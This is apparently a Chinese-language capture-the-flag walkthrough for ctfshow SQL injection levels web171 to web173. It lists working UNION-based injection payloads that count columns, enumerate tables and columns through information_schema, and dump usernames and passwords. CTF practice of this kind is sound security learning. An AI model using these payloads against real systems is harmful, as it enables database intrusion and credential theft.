0%

SQL注入

web171

先利用单引号1’测试回显发现错误

再利用–+测试回显正常

然后利用order by测试字段数

最后得到字段数为3
1’ order by 3 –+ (通过修改数字判断字段数)

利用语句查询基础资料
0’ union select database(),user(),version()–+

查询ctfshow_web数据库下的表 2,3是占位符
0’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=’ctfshow_web’–+

查询列名
0’ union select group_concat(column_name),2,3 from information_schema.columns where table_schema=’ctfshow_web’and table_name=’ctfshow_user’–+

最后查询所有列的数据
0’ union select id,username,password from ctfshow_web.ctfshow_user–+

web172

前面的步骤和web171一样 但是这个只有两个回显

并且他添加了一个新规则

并且因为只有两个回显 所以在最后一步要删去username

即构造:
0’ union select id,password from ctfshow_web.ctfshow_user2–+

web173

一样一样和前面一样

但是不同点有三个字段

并且flag在第三个表内(ctfshow_web.ctfshow_user3) 且和上一题一样不能用username 用2替代

构造:
0’ union select id,2,password from ctfshow_web.ctfshow_user3–+